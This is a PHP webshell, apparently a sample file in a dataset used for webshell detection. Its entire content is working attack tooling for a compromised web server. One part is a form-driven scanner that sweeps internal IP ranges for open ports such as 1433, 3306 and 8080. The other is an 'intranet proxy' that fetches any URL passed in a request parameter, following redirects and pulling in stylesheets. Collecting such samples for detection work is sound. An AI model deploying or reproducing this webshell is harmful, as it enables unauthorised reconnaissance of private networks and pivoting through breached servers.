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simple_sandbox/filters/webshell/php/data/webshells/scanner.php

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<?php
set_time_limit(0);//设置程序执行时间
ob_implicit_flush(True);
ob_end_flush();
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null;
/*端口扫描代码*/
function check_port($ip,$port,$timeout=0.1) {
$conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
if ($conn) {
fclose($conn);
return true;
}
}
function scanip($ip,$timeout,$portarr){
foreach($portarr as $port){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' is open<br/>';
@ob_flush();
@flush();
}
}
}
echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="Start IP" />
<input type="text" name="endip" value="End IP" />
<input type="text" name="port" value="80,8080,8888,1433,3306" />
Timeout<input type="text" name="timeout" value="10" /><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';
if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){
$startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$port=$_POST['port'];
$portarr=explode(',',$port);
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip);
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
exit('IP error: Wrong IP address or Trying to scan class A address');
}
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout,$portarr);
@ob_flush();
@flush();
exit();
}
if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout,$portarr);
$ciparr[3]+=1;
if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
}
/*内网代理代码*/
function getHtmlContext($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, TRUE); //表示需要response header
curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_TIMEOUT, 120);
$result = curl_exec($ch);
global $header;
if($result){
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = explode("\r\n",substr($result, 0, $headerSize));
$body = substr($result, $headerSize);
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') {
return $body;
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') {
$location = getHeader("Location");
if(strpos(getHeader("Location"),'http://') == false){
$location = getHost($url).$location;
}
return getHtmlContext($location);
}
return NULL;
}
function getHost($url){
preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches);
return $matches[0];
}
function getCss($host,$html){
preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches);
foreach($matches[1] as $v){
$cssurl = $v;
if(strpos($v,'http://') == false){
$cssurl = $host."/".$v;
}
$csshtml = "<style>".file_get_contents($cssurl)."</style>";
$html .= $csshtml;
}
return $html;
}
if($url != null){
$host = getHost($url);
echo getCss($host,getHtmlContext($url));
}
?>